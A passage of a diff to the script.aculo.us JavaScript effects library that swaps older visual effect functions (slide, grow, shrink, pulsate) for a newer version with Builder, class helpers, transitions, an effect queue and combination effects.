effect.element.firstChild.style.bottom = - (effect.originalHeight - effect.element.clientHeight) + 'px'; }, - afterFinish: function(effect) - { Element.undoClipping(effect.element); } - }, arguments[1] || {}) - ); -} - -Effect.SlideUp = function(element) { - element = $(element); - Element.makeClipping(element); - Element.cleanWhitespace(element); - Element.makePositioned(element.firstChild); - Element.show(element); - new Effect.Scale(element, 0, - Object.extend({ scaleContent: false, - scaleX: false, - afterUpdate: function(effect) - { effect.element.firstChild.style.bottom = - (effect.originalHeight - effect.element.clientHeight) + 'px'; }, - afterFinish: function(effect) - { - Element.hide(effect.element); - Element.undoClipping(effect.element); - } - }, arguments[1] || {}) - ); -} - -Effect.Squish = function(element) { - new Effect.Scale(element, 0, - { afterFinish: function(effect) { Element.hide(effect.element); } }); -} - -Effect.Grow = function(element) { - element = $(element); - var options = arguments[1] || {}; - - var originalWidth = element.clientWidth; - var originalHeight = element.clientHeight; - element.style.overflow = 'hidden'; - Element.show(element); - - var direction = options.direction || 'center'; - var moveTransition = options.moveTransition || Effect.Transitions.sinoidal; - var scaleTransition = options.scaleTransition || Effect.Transitions.sinoidal; - var opacityTransition = options.opacityTransition || Effect.Transitions.full; - - var initialMoveX, initialMoveY; - var moveX, moveY; - - switch (direction) { - case 'top-left': - initialMoveX = initialMoveY = moveX = moveY = 0; - break; - case 'top-right': - initialMoveX = originalWidth; - initialMoveY = moveY = 0; - moveX = -originalWidth; - break; - case 'bottom-left': - initialMoveX = moveX = 0; - initialMoveY = originalHeight; - moveY = -originalHeight; - break; - case 'bottom-right': - initialMoveX = originalWidth; - initialMoveY = originalHeight; - moveX = -originalWidth; - moveY = -originalHeight; - break; - case 'center': - initialMoveX = originalWidth / 2; - initialMoveY = originalHeight / 2; - moveX = -originalWidth / 2; - moveY = -originalHeight / 2; - break; - } - - new Effect.MoveBy(element, initialMoveY, initialMoveX, { - duration: 0.01, - beforeUpdate: function(effect) { $(element).style.height = '0px'; }, - afterFinish: function(effect) { - new Effect.Parallel( - [ new Effect.Opacity(element, { sync: true, to: 1.0, from: 0.0, transition: opacityTransition }), - new Effect.MoveBy(element, moveY, moveX, { sync: true, transition: moveTransition }), - new Effect.Scale(element, 100, { - scaleMode: { originalHeight: originalHeight, originalWidth: originalWidth }, - sync: true, scaleFrom: 0, scaleTo: 100, transition: scaleTransition })], - options); } - }); -} - -Effect.Shrink = function(element) { - element = $(element); - var options = arguments[1] || {}; - - var originalWidth = element.clientWidth; - var originalHeight = element.clientHeight; - element.style.overflow = 'hidden'; - Element.show(element); - - var direction = options.direction || 'center'; - var moveTransition = options.moveTransition || Effect.Transitions.sinoidal; - var scaleTransition = options.scaleTransition || Effect.Transitions.sinoidal; - var opacityTransition = options.opacityTransition || Effect.Transitions.none; - - var moveX, moveY; - - switch (direction) { - case 'top-left': - moveX = moveY = 0; - break; - case 'top-right': - moveX = originalWidth; - moveY = 0; - break; - case 'bottom-left': - moveX = 0; - moveY = originalHeight; - break; - case 'bottom-right': - moveX = originalWidth; - moveY = originalHeight; - break; - case 'center': - moveX = originalWidth / 2; - moveY = originalHeight / 2; - break; - } - - new Effect.Parallel( - [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: opacityTransition }), - new Effect.Scale(element, 0, { sync: true, transition: moveTransition }), - new Effect.MoveBy(element, moveY, moveX, { sync: true, transition: scaleTransition }) ], - options); -} - -Effect.Pulsate = function(element) { - var options = arguments[1] || {}; - var transition = options.transition || Effect.Transitions.sinoidal; - var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos)) }; - reverser.bind(transition); - new Effect.Opacity(element, - Object.extend(Object.extend({ duration: 3.0, - afterFinish: function(effect) { Element.show(effect.element); } - }, options), {transition: reverser})); -} - -Effect.Fold = function(element) { - $(element).style.overflow = 'hidden'; - new Effect.Scale(element, 5, Object.extend({ - scaleContent: false, - scaleTo: 100, - scaleX: false, - afterFinish: function(effect) { - new Effect.Scale(element, 1, { - scaleContent: false, - scaleTo: 0, - scaleY: false, - afterFinish: function(effect) { Element.hide(effect.element) } }); - }}, arguments[1] || {})); -} - -// old: new Effect.ContentZoom(element, percent) -// new: Element.setContentZoom(element, percent) - -Element.setContentZoom = function(element, percent) { - var element = $(element); - element.style.fontSize = (percent/100) + "em"; - if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); -} +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// Contributors: +// Justin Palmer (http://encytemedia.com/) +// Mark Pilgrim (http://diveintomark.org/) +// Martin Bialasinki +// +// See scriptaculous.js for full license. + +Object.debug = function(obj) { + var info = []; + + if(typeof obj in ["string","number"]) { + return obj; + } else { + for(property in obj) + if(typeof obj[property]!="function") + info.push(property + ' => ' + + (typeof obj[property] == "string" ? + '"' + obj[property] + '"' : + obj[property])); + } + + return ("'" + obj + "' #" + typeof obj + + ": {" + info.join(", ") + "}"); +} + + +/*--------------------------------------------------------------------------*/ + +var Builder = { + NODEMAP: { + AREA: 'map', + CAPTION: 'table', + COL: 'table', + COLGROUP: 'table', + LEGEND: 'fieldset', + OPTGROUP: 'select', + OPTION: 'select', + PARAM: 'object', + TBODY: 'table', + TD: 'table', + TFOOT: 'table', + TH: 'table', + THEAD: 'table', + TR: 'table' + }, + // note: For Firefox < 1.5, OPTION and OPTGROUP tags are currently broken, + // due to a Firefox bug + node: function(elementName) { + elementName = elementName.toUpperCase(); + + // try innerHTML approach + var parentTag = this.NODEMAP[elementName] || 'div'; + var parentElement = document.createElement(parentTag); + parentElement.innerHTML = "<" + elementName + ">"; + var element = parentElement.firstChild || null; + + // see if browser added wrapping tags + if(element && (element.tagName != elementName)) + element = element.getElementsByTagName(elementName)[0]; + + // fallback to createElement approach + if(!element) element = document.createElement(elementName); + + // abort if nothing could be created + if(!element) return; + + // attributes (or text) + if(arguments[1]) + if(this._isStringOrNumber(arguments[1]) || + (arguments[1] instanceof Array)) { + this._children(element, arguments[1]); + } else { + var attrs = this._attributes(arguments[1]); + if(attrs.length) { + parentElement.innerHTML = "<" +elementName + " " + + attrs + ">"; + element = parentElement.firstChild || null; + // workaround firefox 1.0.X bug + if(!element) { + element = document.createElement(elementName); + for(attr in arguments[1]) + element[attr == 'class' ? 'className' : attr] = arguments[1][attr]; + } + if(element.tagName != elementName) + element = parentElement.getElementsByTagName(elementName)[0]; + } + } + + // text, or array of children + if(arguments[2]) + this._children(element, arguments[2]); + + return element; + }, + _text: function(text) { + return document.createTextNode(text); + }, + _attributes: function(attributes) { + var attrs = []; + for(attribute in attributes) + attrs.push((attribute=='className' ? 'class' : attribute) + + '="' + attributes[attribute].toString().escapeHTML() + '"'); + return attrs.join(" "); + }, + _children: function(element, children) { + if(typeof children=='object') { // array can hold nodes and text + children.flatten().each( function(e) { + if(typeof e=='object') + element.appendChild(e) + else + if(Builder._isStringOrNumber(e)) + element.appendChild(Builder._text(e)); + }); + } else + if(Builder._isStringOrNumber(children)) + element.appendChild(Builder._text(children)); + }, + _isStringOrNumber: function(param) { + return(typeof param=='string' || typeof param=='number'); + } +} + +/* ------------- element ext -------------- */ + +// converts rgb() and #xxx to #xxxxxx format, +// returns self (or first argument) if not convertable +String.prototype.parseColor = function() { + color = "#"; + if(this.slice(0,4) == "rgb(") { + var cols = this.slice(4,this.length-1).split(','); + var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3); + } else { + if(this.slice(0,1) == '#') { + if(this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase(); + if(this.length==7) color = this.toLowerCase(); + } + } + return(color.length==7 ? color : (arguments[0] || this)); +} + +Element.collectTextNodesIgnoreClass = function(element, ignoreclass) { + var children = $(element).childNodes; + var text = ""; + var classtest = new RegExp("^([^ ]+ )*" + ignoreclass+ "( [^ ]+)*$","i"); + + for (var i = 0; i < children.length; i++) { + if(children[i].nodeType==3) { + text+=children[i].nodeValue; + } else { + if((!children[i].className.match(classtest)) && children[i].hasChildNodes()) + text += Element.collectTextNodesIgnoreClass(children[i], ignoreclass); + } + } + + return text; +} + +Element.setContentZoom = function(element, percent) { + element = $(element); + element.style.fontSize = (percent/100) + "em"; + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); +} + +Element.getOpacity = function(element){ + var opacity; + if (opacity = Element.getStyle(element, "opacity")) + return parseFloat(opacity); + if (opacity = (Element.getStyle(element, "filter") || '').match(/alpha\(opacity=(.*)\)/)) + if(opacity[1]) return parseFloat(opacity[1]) / 100; + return 1.0; +} + +Element.setOpacity = function(element, value){ + element= $(element); + var els = element.style; + if (value == 1){ + els.opacity = '0.999999'; + if(/MSIE/.test(navigator.userAgent)) + els.filter = Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,''); + } else { + if(value < 0.00001) value = 0; + els.opacity = value; + if(/MSIE/.test(navigator.userAgent)) + els.filter = Element.getStyle(element,'filter').replace(/alpha\([^\)]*\)/gi,'') + + "alpha(opacity="+value*100+")"; + } +} + +Element.getInlineOpacity = function(element){ + element= $(element); + var op; + op = element.style.opacity; + if (typeof op != "undefined" && op != "") return op; + return ""; +} + +Element.setInlineOpacity = function(element, value){ + element= $(element); + var els = element.style; + els.opacity = value; +} + +/*--------------------------------------------------------------------------*/ + +Element.Class = { + // Element.toggleClass(element, className) toggles the class being on/off + // Element.toggleClass(element, className1, className2) toggles between both classes, + // defaulting to className1 if neither exist + toggle: function(element, className) { + if(Element.Class.has(element, className)) { + Element.Class.remove(element, className); + if(arguments.length == 3) Element.Class.add(element, arguments[2]); + } else { + Element.Class.add(element, className); + if(arguments.length == 3) Element.Class.remove(element, arguments[2]); + } + }, + + // gets space-delimited classnames of an element as an array + get: function(element) { + return $(element).className.split(' '); + }, + + // functions adapted from original functions by Gavin Kistner + remove: function(element) { + element = $(element); + var removeClasses = arguments; + $R(1,arguments.length-1).each( function(index) { + element.className = + element.className.split(' ').reject( + function(klass) { return (klass == removeClasses[index]) } ).join(' '); + }); + }, + + add: function(element) { + element = $(element); + for(var i = 1; i < arguments.length; i++) { + Element.Class.remove(element, arguments[i]); + element.className += (element.className.length > 0 ? ' ' : '') + arguments[i]; + } + }, + + // returns true if all given classes exist in said element + has: function(element) { + element = $(element); + if(!element || !element.className) return false; + var regEx; + for(var i = 1; i < arguments.length; i++) { + if((typeof arguments[i] == 'object') && + (arguments[i].constructor == Array)) { + for(var j = 0; j < arguments[i].length; j++) { + regEx = new RegExp("(^|\\s)" + arguments[i][j] + "(\\s|$)"); + if(!regEx.test(element.className)) return false; + } + } else { + regEx = new RegExp("(^|\\s)" + arguments[i] + "(\\s|$)"); + if(!regEx.test(element.className)) return false; + } + } + return true; + }, + + // expects arrays of strings and/or strings as optional paramters + // Element.Class.has_any(element, ['classA','classB','classC'], 'classD') + has_any: function(element) { + element = $(element); + if(!element || !element.className) return false; + var regEx; + for(var i = 1; i < arguments.length; i++) { + if((typeof arguments[i] == 'object') && + (arguments[i].constructor == Array)) { + for(var j = 0; j < arguments[i].length; j++) { + regEx = new RegExp("(^|\\s)" + arguments[i][j] + "(\\s|$)"); + if(regEx.test(element.className)) return true; + } + } else { + regEx = new RegExp("(^|\\s)" + arguments[i] + "(\\s|$)"); + if(regEx.test(element.className)) return true; + } + } + return false; + }, + + childrenWith: function(element, className) { + var children = $(element).getElementsByTagName('*'); + var elements = new Array(); + + for (var i = 0; i < children.length; i++) + if (Element.Class.has(children[i], className)) + elements.push(children[i]); + + return elements; + } +} + +/*--------------------------------------------------------------------------*/ + +var Effect = { + tagifyText: function(element) { + var tagifyStyle = "position:relative"; + if(/MSIE/.test(navigator.userAgent)) tagifyStyle += ";zoom:1"; + element = $(element); + $A(element.childNodes).each( function(child) { + if(child.nodeType==3) { + child.nodeValue.toArray().each( function(character) { + element.insertBefore( + Builder.node('span',{style: tagifyStyle}, + character == " " ? String.fromCharCode(160) : character), + child); + }); + Element.remove(child); + } + }); + }, + multiple: function(element, effect) { + var elements; + if(((typeof element == 'object') || + (typeof element == 'function')) && + (element.length)) + elements = element; + else + elements = $(element).childNodes; + + var options = Object.extend({ + speed: 0.1, + delay: 0.0 + }, arguments[2] || {}); + var speed = options.speed; + var delay = options.delay; + + $A(elements).each( function(element, index) { + new effect(element, Object.extend(options, { delay: delay + index * speed })); + }); + } +}; + +var Effect2 = Effect; // deprecated + +/* ------------- transitions ------------- */ + +Effect.Transitions = {} + +Effect.Transitions.linear = function(pos) { + return pos; +} +Effect.Transitions.sinoidal = function(pos) { + return (-Math.cos(pos*Math.PI)/2) + 0.5; +} +Effect.Transitions.reverse = function(pos) { + return 1-pos; +} +Effect.Transitions.flicker = function(pos) { + return ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4; +} +Effect.Transitions.wobble = function(pos) { + return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5; +} +Effect.Transitions.pulse = function(pos) { + return (Math.floor(pos*10) % 2 == 0 ? + (pos*10-Math.floor(pos*10)) : 1-(pos*10-Math.floor(pos*10))); +} +Effect.Transitions.none = function(pos) { + return 0; +} +Effect.Transitions.full = function(pos) { + return 1; +} + +/* ------------- core effects ------------- */ + +Effect.Queue = { + effects: [], + interval: null, + add: function(effect) { + var timestamp = new Date().getTime(); + + switch(effect.options.queue) { + case 'front': + // move unstarted effects after this effect + this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) { + e.startOn += effect.finishOn; + e.finishOn += effect.finishOn; + }); + break; + case 'end': + // start effect after last queued effect has finished + timestamp = this.effects.pluck('finishOn').max() || timestamp; + break; + } + + effect.startOn += timestamp; + effect.finishOn += timestamp; + this.effects.push(effect); + if(!this.interval) + this.interval = setInterval(this.loop.bind(this), 40); + }, + remove: function(effect) { + this.effects = this.effects.reject(function(e) { return e==effect }); + if(this.effects.length == 0) { + clearInterval(this.interval); + this.interval = null; + } + }, + loop: function() { + var timePos = new Date().getTime(); + this.effects.invoke('loop', timePos); + } +} + +Effect.Base = function() {}; +Effect.Base.prototype = { + position: null, + setOptions: function(options) { + this.options = Object.extend({ + transition: Effect.Transitions.sinoidal, + duration: 1.0, // seconds + fps: 25.0, // max. 25fps due to Effect.Queue implementation + sync: false, // true for combining + from: 0.0, + to: 1.0, + delay: 0.0, + queue: 'parallel' + }, options || {}); + }, + start: function(options) { + this.setOptions(options || {}); + this.currentFrame = 0; + this.state = 'idle'; + this.startOn = this.options.delay*1000; + this.finishOn = this.startOn + (this.options.duration*1000); + this.event('beforeStart'); + if(!this.options.sync) Effect.Queue.add(this); + }, + loop: function(timePos) { + if(timePos >= this.startOn) { + if(timePos >= this.finishOn) { + this.render(1.0); + this.cancel(); + this.event('beforeFinish'); + if(this.finish) this.finish(); + this.event('afterFinish'); + return; + } + var pos = (timePos - this.startOn) / (this.finishOn - this.startOn); + var frame = Math.round(pos * this.options.fps * this.options.duration); + if(frame > this.currentFrame) { + this.render(pos); + this.currentFrame = frame; + } + } + }, + render: function(pos) { + if(this.state == 'idle') { + this.state = 'running'; + this.event('beforeSetup'); + if(this.setup) this.setup(); + this.event('afterSetup'); + } + if(this.options.transition) pos = this.options.transition(pos); + pos *= (this.options.to-this.options.from); + pos += this.options.from; + this.position = pos; + this.event('beforeUpdate'); + if(this.update) this.update(pos); + this.event('afterUpdate'); + }, + cancel: function() { + if(!this.options.sync) Effect.Queue.remove(this); + this.state = 'finished'; + }, + event: function(eventName) { + if(this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this); + if(this.options[eventName]) this.options[eventName](this); + } +} + +Effect.Parallel = Class.create(); +Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), { + initialize: function(effects) { + this.effects = effects || []; + this.start(arguments[1]); + }, + update: function(position) { + this.effects.invoke('render', position); + }, + finish: function(position) { + this.effects.each( function(effect) { + effect.render(1.0); + effect.cancel(); + effect.event('beforeFinish'); + if(effect.finish) effect.finish(position); + effect.event('afterFinish'); + }); + } +}); + +Effect.Opacity = Class.create(); +Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + // make this work on IE on elements without 'layout' + if(/MSIE/.test(navigator.userAgent) && (!this.element.hasLayout)) + this.element.style.zoom = 1; + var options = Object.extend({ + from: Element.getOpacity(this.element) || 0.0, + to: 1.0 + }, arguments[1] || {}); + this.start(options); + }, + update: function(position) { + Element.setOpacity(this.element, position); + } +}); + +Effect.MoveBy = Class.create(); +Object.extend(Object.extend(Effect.MoveBy.prototype, Effect.Base.prototype), { + initialize: function(element, toTop, toLeft) { + this.element = $(element); + this.toTop = toTop; + this.toLeft = toLeft; + this.start(arguments[3]); + }, + setup: function() { + // Bug in Opera: Opera returns the "real" position of a static element or + // relative element that does not have top/left explicitly set. + // ==> Always set top and left for position relative elements in your stylesheets + // (to 0 if you do not need them) + + Element.makePositioned(this.element); + this.originalTop = parseFloat(Element.getStyle(this.element,'top') || '0'); + this.originalLeft = parseFloat(Element.getStyle(this.element,'left') || '0'); + }, + update: function(position) { + var topd = this.toTop * position + this.originalTop; + var leftd = this.toLeft * position + this.originalLeft; + this.setPosition(topd, leftd); + }, + setPosition: function(topd, leftd) { + this.element.style.top = topd + "px"; + this.element.style.left = leftd + "px"; + } +}); + +Effect.Scale = Class.create(); +Object.extend(Object.extend(Effect.Scale.prototype, Effect.Base.prototype), { + initialize: function(element, percent) { + this.element = $(element) + var options = Object.extend({ + scaleX: true, + scaleY: true, + scaleContent: true, + scaleFromCenter: false, + scaleMode: 'box', // 'box' or 'contents' or {} with provided values + scaleFrom: 100.0, + scaleTo: percent + }, arguments[2] || {}); + this.start(options); + }, + setup: function() { + var effect = this; + + this.restoreAfterFinish = this.options.restoreAfterFinish || false; + this.elementPositioning = Element.getStyle(this.element,'position'); + + effect.originalStyle = {}; + ['top','left','width','height','fontSize'].each( function(k) { + effect.originalStyle[k] = effect.element.style[k]; + }); + + this.originalTop = this.element.offsetTop; + this.originalLeft = this.element.offsetLeft; + + var fontSize = Element.getStyle(this.element,'font-size') || "100%"; + ['em','px','%'].each( function(fontSizeType) { + if(fontSize.indexOf(fontSizeType)>0) { + effect.fontSize = parseFloat(fontSize); + effect.fontSizeType = fontSizeType; + } + }); + + this.factor = (this.options.scaleTo - this.options.scaleFrom)/100; + + this.dims = null; + if(this.options.scaleMode=='box') + this.dims = [this.element.clientHeight, this.element.clientWidth]; + if(this.options.scaleMode=='content') + this.dims = [this.element.scrollHeight, this.element.scrollWidth]; + if(!this.dims) + this.dims = [this.options.scaleMode.originalHeight, + this.options.scaleMode.originalWidth]; + }, + update: function(position) { + var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position); + if(this.options.scaleContent && this.fontSize) + this.element.style.fontSize = this.fontSize*currentScale + this.fontSizeType; + this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale); + }, + finish: function(position) { + if (this.restoreAfterFinish) { + var effect = this; + ['top','left','width','height','fontSize'].each( function(k) { + effect.element.style[k] = effect.originalStyle[k]; + }); + } + }, + setDimensions: function(height, width) { + var els = this.element.style; + if(this.options.scaleX) els.width = width + 'px'; + if(this.options.scaleY) els.height = height + 'px'; + if(this.options.scaleFromCenter) { + var topd = (height - this.dims[0])/2; + var leftd = (width - this.dims[1])/2; + if(this.elementPositioning == 'absolute') { + if(this.options.scaleY) els.top = this.originalTop-topd + "px"; + if(this.options.scaleX) els.left = this.originalLeft-leftd + "px"; + } else { + if(this.options.scaleY) els.top = -topd + "px"; + if(this.options.scaleX) els.left = -leftd + "px"; + } + } + } +}); + +Effect.Highlight = Class.create(); +Object.extend(Object.extend(Effect.Highlight.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + var options = Object.extend({ + startcolor: "#ffff99" + }, arguments[1] || {}); + this.start(options); + }, + setup: function() { + // Disable background image during the effect + this.oldBgImage = this.element.style.backgroundImage; + this.element.style.backgroundImage = "none"; + if(!this.options.endcolor) + this.options.endcolor = Element.getStyle(this.element, 'background-color').parseColor('#ffffff'); + if (typeof this.options.restorecolor == "undefined") + this.options.restorecolor = this.element.style.backgroundColor; + // init color calculations + this.colors_base = [ + parseInt(this.options.startcolor.slice(1,3),16), + parseInt(this.options.startcolor.slice(3,5),16), + parseInt(this.options.startcolor.slice(5),16) ]; + this.colors_delta = [ + parseInt(this.options.endcolor.slice(1,3),16)-this.colors_base[0], + parseInt(this.options.endcolor.slice(3,5),16)-this.colors_base[1], + parseInt(this.options.endcolor.slice(5),16)-this.colors_base[2]]; + }, + update: function(position) { + var effect = this; var colors = $R(0,2).map( function(i){ + return Math.round(effect.colors_base[i]+(effect.colors_delta[i]*position)) + }); + this.element.style.backgroundColor = "#" + + colors[0].toColorPart() + colors[1].toColorPart() + colors[2].toColorPart(); + }, + finish: function() { + this.element.style.backgroundColor = this.options.restorecolor; + this.element.style.backgroundImage = this.oldBgImage; + } +}); + +Effect.ScrollTo = Class.create(); +Object.extend(Object.extend(Effect.ScrollTo.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + this.start(arguments[1] || {}); + }, + setup: function() { + Position.prepare(); + var offsets = Position.cumulativeOffset(this.element); + var max = window.innerHeight ? + window.height - window.innerHeight : + document.body.scrollHeight - + (document.documentElement.clientHeight ? + document.documentElement.clientHeight : document.body.clientHeight); + this.scrollStart = Position.deltaY; + this.delta = (offsets[1] > max ? max : offsets[1]) - this.scrollStart; + }, + update: function(position) { + Position.prepare(); + window.scrollTo(Position.deltaX, + this.scrollStart + (position*this.delta)); + } +}); + +/* ------------- combination effects ------------- */ + +Effect.Fade = function(element) { + var oldOpacity = Element.getInlineOpacity(element); + var options = Object.extend({ + from: Element.getOpacity(element) || 1.0, + to: 0.0, + afterFinishInternal: function(effect) + { if (effect.options.to == 0) { + Element.hide(effect.element); + Element.setInlineOpacity(effect.element, oldOpacity); + } + } + }, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Appear = function(element) { + var options = Object.extend({ + from: (Element.getStyle(element, "display") == "none" ? 0.0 : Element.getOpacity(element) || 0.0), + to: 1.0, + beforeSetup: function(effect) + { Element.setOpacity(effect.element, effect.options.from); + Element.show(effect.element); } + }, arguments[1] || {}); + return new Effect.Opacity(element,options); +} + +Effect.Puff = function(element) { + element = $(element); + var oldOpacity = Element.getInlineOpacity(element); + var oldPosition = element.style.position; + return new Effect.Parallel( + [ new Effect.Scale(element, 200, + { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], + Object.extend({ duration: 1.0, + beforeSetupInternal: function(effect) + { effect.effects[0].element.style.position = 'absolute'; }, + afterFinishInternal: function(effect) + { Element.hide(effect.effects[0].element); + effect.effects[0].element.style.position = oldPosition; + Element.setInlineOpacity(effect.effects[0].element, oldOpacity); } + }, arguments[1] || {}) + ); +} + +Effect.BlindUp = function(element) { + element = $(element); + Element.makeClipping(element); + return new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + restoreAfterFinish: true, + afterFinishInternal: function(effect) + { + Element.hide(effect.element); + Element.undoClipping(effect.element); + } + }, arguments[1] || {}) + ); +} + +Effect.BlindDown = function(element) { + element = $(element); + var oldHeight = element.style.height; + var elementDimensions = Element.getDimensions(element); + return new Effect.Scale(element, 100, + Object.extend({ scaleContent: false, + scaleX: false, + scaleFrom: 0, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + Element.makeClipping(effect.element); + effect.element.style.height = "0px"; + Element.show(effect.element); + }, + afterFinishInternal: function(effect) { + Element.undoClipping(effect.element); + effect.element.style.height = oldHeight; + } + }, arguments[1] || {}) + ); +} + +Effect.SwitchOff = function(element) { + element = $(element); + var oldOpacity = Element.getInlineOpacity(element); + return new Effect.Appear(element, { + duration: 0.4, + from: 0, + transition: Effect.Transitions.flicker, + afterFinishInternal: function(effect) { + new Effect.Scale(effect.element, 1, { + duration: 0.3, scaleFromCenter: true, + scaleX: false, scaleContent: false, restoreAfterFinish: true, + beforeSetup: function(effect) { + Element.makePositioned(effect.element); + Element.makeClipping(effect.element); + }, + afterFinishInternal: function(effect) { + Element.hide(effect.element); + Element.undoClipping(effect.element); + Element.undoPositioned(effect.element); + Element.setInlineOpacity(effect.element, oldOpacity); + } + }) + } + }); +} + +Effect.DropOut = function(element) { + element = $(element); + var oldTop = element.style.top; + var oldLeft = element.style.left; + var oldOpacity = Element.getInlineOpacity(element); + return new Effect.Parallel( + [ new Effect.MoveBy(element, 100, 0, { sync: true }), + new Effect.Opacity(element, { sync: true, to: 0.0 }) ], + Object.extend( + { duration: 0.5, + beforeSetup: function(effect) { + Element.makePositioned(effect.effects[0].element); }, + afterFinishInternal: function(effect) { + Element.hide(effect.effects[0].element); + Element.undoPositioned(effect.effects[0].element); + effect.effects[0].element.style.left = oldLeft; + effect.effects[0].element.style.top = oldTop; + Element.setInlineOpacity(effect.effects[0].element, oldOpacity); } + }, arguments[1] || {})); +} + +Effect.Shake = function(element) { + element = $(element); + var oldTop = element.style.top; + var oldLeft = element.style.left; + return new Effect.MoveBy(element, 0, 20, + { duration: 0.05, afterFinishInternal: function(effect) { + new Effect.MoveBy(effect.element, 0, -40, + { duration: 0.1, afterFinishInternal: function(effect) { + new Effect.MoveBy(effect.element, 0, 40, + { duration: 0.1, afterFinishInternal: function(effect) { + new Effect.MoveBy(effect.element, 0, -40, + { duration: 0.1, afterFinishInternal: function(effect) { + new Effect.MoveBy(effect.element, 0, 40, + { duration: 0.1, afterFinishInternal: function(effect) { + new Effect.MoveBy(effect.element, 0, -20, + { duration: 0.05, afterFinishInternal: function(effect) { + Element.undoPositioned(effect.element); + effect.element.style.left = oldLeft; + effect.element.style.top = oldTop; + }}) }}) }}) }}) }}) }}); +} + +Effect.SlideDown = function(element) { + element = $(element); + Element.cleanWhitespace(element); + // SlideDown need to have the content of the element wrapped in a container element with fixed height! + var oldInnerBottom = element.firstChild.style.bottom; + var elementDimensions = Element.getDimensions(element); + return new Effect.Scale(element, 100, + Object.extend({ scaleContent: false, + scaleX: false, + scaleFrom: 0, + scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width}, + restoreAfterFinish: true, + afterSetup: function(effect) { + Element.makePositioned(effect.element.firstChild); + if (window.opera) effect.element.firstChild.style.top = ""; + Element.makeClipping(effect.element); + element.style.height = '0'; + Element.show(element); + }, + afterUpdateInternal: function(effect) { + effect.element.firstChild.style.bottom = + (effect.originalHeight - effect.element.clientHeight) + 'px'; }, + afterFinishInternal: function(effect) { + Element.undoClipping(effect.element); + Element.undoPositioned(effect.element.firstChild); + effect.element.firstChild.style.bottom = oldInnerBottom; } + }, arguments[1] || {}) + ); +} + +Effect.SlideUp = function(element) { + element = $(element); + Element.cleanWhitespace(element); + var oldInnerBottom = element.firstChild.style.bottom; + return new Effect.Scale(element, 0, + Object.extend({ scaleContent: false, + scaleX: false, + scaleMode: 'box', + scaleFrom: 100, + restoreAfterFinish: true, + beforeStartInternal: function(effect) { + Element.makePositioned(effect.element.firstChild); + if (window.opera) effect.element.firstChild.style.top = ""; + Element.makeClipping(effect.element); + Element.show(element); + }, + afterUpdateInternal: function(effect) { + effect.element.firstChild.style.bottom = + (effect.originalHeight - effect.element.clientHeight) + 'px'; }, + afterFinishInternal: function(effect) { + Element.hide(effect.element); + Element.undoClipping(effect.element); + Element.undoPositioned(effect.element.firstChild); + effect.element.firstChild.style.bottom = oldInnerBottom; } + }, arguments[1] || {}) + ); +} + +Effect.Squish = function(element) { + // Bug in opera makes the TD containing this element expand for a instance after finish + return new Effect.Scale(element, window.opera ? 1 : 0, + { restoreAfterFinish: true, + beforeSetup: function(effect) { + Element.makeClipping(effect.element); }, + afterFinishInternal: function(effect) { + Element.hide(effect.element); + Element.undoClipping(effect.element); } + }); +} + +Effect.Grow = function(element) { + element = $(element); + var options = arguments[1] || {}; + + var elementDimensions = Element.getDimensions(element); + var originalWidth = elementDimensions.width; + var originalHeight = elementDimensions.height; + var oldTop = element.style.top; + var oldLeft = element.style.left; + var oldHeight = element.style.height; + var oldWidth = element.style.width; + var oldOpacity = Element.getInlineOpacity(element); + + var direction = options.direction || 'center'; + var moveTransition = options.moveTransition || Effect.Transitions.sinoidal; + var scaleTransition = options.scaleTransition || Effect.Transitions.sinoidal; + var opacityTransition = options.opacityTransition || Effect.Transitions.full; + + var initialMoveX, initialMoveY; + var moveX, moveY; + + switch (direction) { + case 'top-left': + initialMoveX = initialMoveY = moveX = moveY = 0; + break; + case 'top-right': + initialMoveX = originalWidth; + initialMoveY = moveY = 0; + moveX = -originalWidth; + break; + case 'bottom-left': + initialMoveX = moveX = 0; + initialMoveY = originalHeight; + moveY = -originalHeight; + break; + case 'bottom-right': + initialMoveX = originalWidth; + initialMoveY = originalHeight; + moveX = -originalWidth; + moveY = -originalHeight; + break; + case 'center': + initialMoveX = originalWidth / 2; + initialMoveY = originalHeight / 2; + moveX = -originalWidth / 2; + moveY = -originalHeight / 2; + break; + } + + return new Effect.MoveBy(element, initialMoveY, initialMoveX, { + duration: 0.01, + beforeSetup: function(effect) { + Element.hide(effect.element); + Element.makeClipping(effect.element); + Element.makePositioned(effect.element); + }, + afterFinishInternal: function(effect) { + new Effect.Parallel( + [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: opacityTransition }), + new Effect.MoveBy(effect.element, moveY, moveX, { sync: true, transition: moveTransition }), + new Effect.Scale(effect.element, 100, { + scaleMode: { originalHeight: originalHeight, originalWidth: originalWidth }, + sync: true, scaleFrom: window.opera ? 1 : 0, transition: scaleTransition, restoreAfterFinish: true}) + ], Object.extend({ + beforeSetup: function(effect) { + 